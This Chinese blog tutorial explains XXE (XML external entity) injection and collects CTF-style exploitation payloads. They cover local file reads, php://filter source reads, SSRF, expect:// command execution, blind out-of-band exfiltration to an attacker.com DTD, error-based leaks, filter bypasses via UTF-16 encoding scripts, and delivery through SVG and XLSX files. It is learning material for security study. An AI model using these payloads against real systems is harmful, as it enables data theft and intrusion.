XXE 漏洞原理及 trick 学习

XXE 漏洞原理及 trick 学习

XXE 原理

XXE 指的是 XML 外部实体注入,主要是 XML 解析时未对外部实体加以限制,放任攻击者将恶意代码注入到 XML 中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。

XML 基本语法

XML 是一种用标签描述数据结构的标记语言。它的形状大概是这样

<?xml version="1.0" encoding="UTF-8"?>
<book>
    <title>XML语法基础</title>
    <author id="1001">xnftrone</author>
    <price>39.9</price>
</book>

XML 要求:

  1. 根元素必须存在且只有一个
  2. 标签必须成对出现、正确嵌套(允许自闭合)
  3. 标签名区分大小写
  4. 属性值必须在引号内

标签命名不能以数字或 xml 开头

处理指令

XML 中第一行的常见写法是

<?xml version="1.0" encoding="UTF-8"?>

它用于声明 XML 版本、编码方式等信息,被称为 XML 声明。XML 声明本质上就是一条处理指令。

处理指令(Processing Instruction,PI)可以理解为:写给 XML 解析器或其它处理程序看的额外说明。它的基本语法是:

<?target data?>

其中 target 表示这条指令要交给谁处理,后面的 data 则是附带参数。

实体引用与 DTD

实体可以理解为 “给一段内容起名字,然后在 XML 中重复引用”。最常见的是预定义实体:

&lt;    <    小于号
&gt;    >    大于号
&amp;   &    和号
&apos;  '    单引号
&quot;  "    双引号

除了这些内置实体,XML 还允许我们在 DTD(Document Type Definition,文档类型定义)中自定义实体。

DTD 的作用可以理解为:规定这个 XML 文档允许出现哪些元素、属性、实体,以及它们之间的关系。

一个最简单的内部 DTD 例子:

<?xml version="1.0"?>
<!DOCTYPE note [
    <!ENTITY author "xnftrone">
]>
<note>
    <to>&author;</to>
</note>

这里的 &author; 在解析时会被替换成 xnftrone

DTD 既可以写在 XML 文档内部,也可以通过外部文件引入:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>user</to>
</note>

如果解析器允许加载外部 DTD 或外部实体,问题就来了。攻击者可以把实体的值指定为本地文件、远程 URL,甚至是另外一段 DTD,从而让服务端代替自己去读取或请求资源。

一个最经典的外部实体导致文件读取的例子:

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

如果目标解析器开启了外部实体解析,那么 &xxe; 就会被替换为 /etc/passwd 的内容。

XXE 能成立的关键点不是“使用了 XML”,而是“解析器是否允许解析外部实体 / 外部 DTD,并且解析后的结果是否会进入后续业务逻辑或回显”。

实体有两种引用方式:

  • 普通实体:写法一般是 <!ENTITY xxe "value">,引用时用 &xxe;
  • 参数实体:写法一般是 <!ENTITY % xxe "value">,引用时用 %xxe;

参数实体只能在 DTD 内部使用,可以理解为是 DTD 的宏定义

例如:

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
    %remote;
]>
<foo>test</foo>

这段 XML 会让服务端主动请求攻击者控制的 DTD,这也是 OOB(带外)利用的基础。

常见利用与 trick

文件读取

最基础的利用方式就是读取本地文件。

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

可以注意到,文件读取实际上是利用了实体对 file 协议的支持

某些环境下,也支持使用 php 协议

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>

在这种场景下,一般是通过 php 的 DOMDocument::load() 来解析 xml。容易想到可能存在打 filter 链 rce 或者 CVE-2024-2961 的利用思路。但是需要注意一个问题:

php://filter 是作为外部实体的 SYSTEM 标识符传入 DOMDocument::load(),因此它首先要经过 libxml 的 URI 解析,而不是直接进入 PHP 用户态流处理。| 在这种 URI 语境下不属于稳定、规范的路径分隔字符,容易在外部实体解析阶段被拒绝、归一化或导致后续路径解释异常,从而使整条 filter chain 无法原样传递给底层 stream wrapper。因此需要改用 /,让 payload 同时满足 URI 语法和 php://filter 的路径式解析规则。

SSRF

当外部实体指向一个 URL 时,解析器会代替服务端发起请求,因此 XXE 也经常被当作 SSRF 的入口。

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<foo>&xxe;</foo>

这样可以用于:

  • 探测内网服务
  • 访问只有服务端才能访问的管理接口
  • 打云环境 metadata

RCE

XXE 直接打到 rce 的情况比较苛刻,只做一个补充

比较经典的是 PHP 加载了 expect 模块,则可以配合 expect://

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>

Blind XXE

OOB

有些场景下,服务端虽然解析了 XML,但不会把实体内容直接返回给前端,这时就要想办法外带数据。

一个常见思路是通过外部 DTD + 参数实体,让目标把敏感内容拼进一个 URL 中,再请求攻击者服务器。

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?x=%file;'>">
%all;

配合主 XML:

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
    %remote;
]>
<foo>&send;</foo>

这样即使前端没有任何回显,只要目标成功请求了攻击者的服务器,我们也能从请求日志里拿到文件内容。

一个实际的例子是配合 php 原生类 SimpleXMLElement 进行盲 XXE:

PHP 原生类利用学习

报错

通过远程 DTD 触发报错
<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://attacker.com/xml.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    %remote;
    %send;
]>
<message>1234</message>

远程 DTD:

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///notfound/%file;'>">
%start;

核心思路是让解析器去访问一个不存在的 file:///... 路径,从而在异常信息里泄露 %file; 的内容。

利用本地 DTD 文件

如果目标环境不允许请求外网 DTD,也可以考虑借用目标机器上已经存在的本地 DTD 文件。常见思路是先加载本地 DTD,再利用它内部会触发的参数实体完成拼接。

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://notfound/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
    '>
    %remote;
]>
<message>1234</message>

在这个例子中 /usr/share/yelp/dtd/docbookx.dtd 内部调用了 %ISOamso

嵌套参数实体

虽然标准层面上对“内部实体声明里继续引用参数实体”有限制,但现实里不少 XML 解析器对这个检查并不严格,因此嵌套参数实体在 CTF 里很常见。

例如之前出现过的两层嵌套,需要注意将内部的一些符号实体化

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?%file;'>">
    %start;
    %send;
]>
<message>10</message>

如果是基于报错的思路,还能继续套一层,构造三层参数实体,让最终错误 URI 中包含目标文件内容。

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>10</message>

过滤与绕过

过滤 http

利用 data 协议直接内联

<!ENTITY d1 SYSTEM "data://text/plain;base64,SGVsbG8=">

文件上传场景下,可以引用上传的恶意 dtd

<?xml version="1.0"?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "file:///var/www/uploads/evil.dtd">
    %a;
]>
<test>&hhh;</test>

如果上传点会对文件内容做一些限制,也可以考虑上传经过 base64 处理的 DTD,再在读取时用 php://filter 做解码。

<?xml version="1.0"?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/evil.jpg">
    %a;
]>
<test>&hhh;</test>

编码绕过关键词过滤

XML 声明允许我们指定文档编码:

<?xml version="1.0" encoding="UTF-8"?>

因此可以通过构造不同编码的 xml 进行关键字匹配的绕过,常见的是 utf16

UTF-16 会让大量 ASCII 字符在字节层表现出 00 间隔,可以在保证可读性的前提下绕过

iconv -f utf-8 -t utf-16 payload.xml > payload-utf16.xml

更多情况下,我们需要 xml 声明保持 ascii 可读,因此需要构造双编码的 xml 文件

from pathlib import Path

xml_decl = b'<?xml version="1.0" encoding="UTF-16BE"?>'
xml_body = '<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]><root>1</root>'.encode('utf-16-be')

payload = xml_decl + xml_body
Path('evil-double-encoding.xml').write_bytes(payload)
print('written to evil-double-encoding.xml')

如果解析器的解析方式类似 libxml2,则需要在读到 encoding 属性后立即切换编码

from pathlib import Path

xml_decl = b'<?xml version="1.0" encoding="UTF-16BE"'
xml_body = '?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]><root>1</root>'.encode('utf-16-be')

payload = xml_decl + xml_body
Path('evil-double-encoding-libxml2.xml').write_bytes(payload)
print('written to evil-double-encoding-libxml2.xml')

一般来说多试试即可

分割字符串绕过关键词过滤

局限性比较强,只能对字符串内容做绕过

CDATA 分割
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <test>uni<![CDATA[o]]>n</test>
</root>
注释分割
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <test>uni<!--foo-->on</test>
</root>
PI 标签分割
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <test>uni<?foo bar?>on</test>
</root>
额外标签分割
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <test>uni<foo>bar</foo><x/>on</test>
</root>

其它利用场景

svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>
excel

xlsx 本质上是一个 zip 包,里面包含多份 xml 文件。解析 excel 文件的服务可能存在 xml 解析

mkdir XXE && cd XXE
unzip ../XXE.xlsx
# 将某个xml文件改成恶意xml,再压缩回去
zip -r ../poc.xlsx *
posted @ 2026-04-20 21:14  xNftrOne  阅读(39)  评论(0)    收藏  举报